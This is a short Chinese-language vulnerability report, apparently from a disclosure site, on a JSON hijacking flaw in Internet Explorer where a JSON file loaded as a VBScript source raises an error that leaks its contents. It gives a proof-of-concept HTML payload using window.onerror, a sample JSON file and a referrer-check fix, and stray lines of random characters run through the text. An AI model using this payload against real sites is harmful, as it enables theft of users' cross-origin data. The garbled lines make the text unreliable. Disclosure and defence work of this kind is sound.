IE通用JSON劫持漏洞

admin

简要描述：

7 l% f2 x- E  I% U/ j9 V由于某些资源容器对数据处理不当导致json劫持漏洞.
详细说明：
% T3 k% H. G. ?5 _5 b9 p4 a- R$ S由于ie支持vbscript,所以script元素可以指定成vbscript语言:
<script language=vbscript></script>
: \0 K0 X( @0 @# J  j( t
当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.
. m  Q* q* k- ]6 H* L& ^! F$ H漏洞证明：
1 l; x6 M' \6 R<script>
window.onerror=function(_){
alert(_)
}
/ X% Q; g  l2 s4 T5 Q0 z/ c</script>
1 S& G( `. y' t# g  s$ y# P<script language=vbscript src=1.json></script>
4 X: x  W: a  e6 t1 R+ P' @

% C2 M. l& U( x1.json:
[{"name":"sogili","age":19}]
. ~/ }! V' ~  G! k7 V* z7 [5 m* k/ G+ O修复方案：
网站业务对于这个问题可以通过验证referrer是否为同源来防御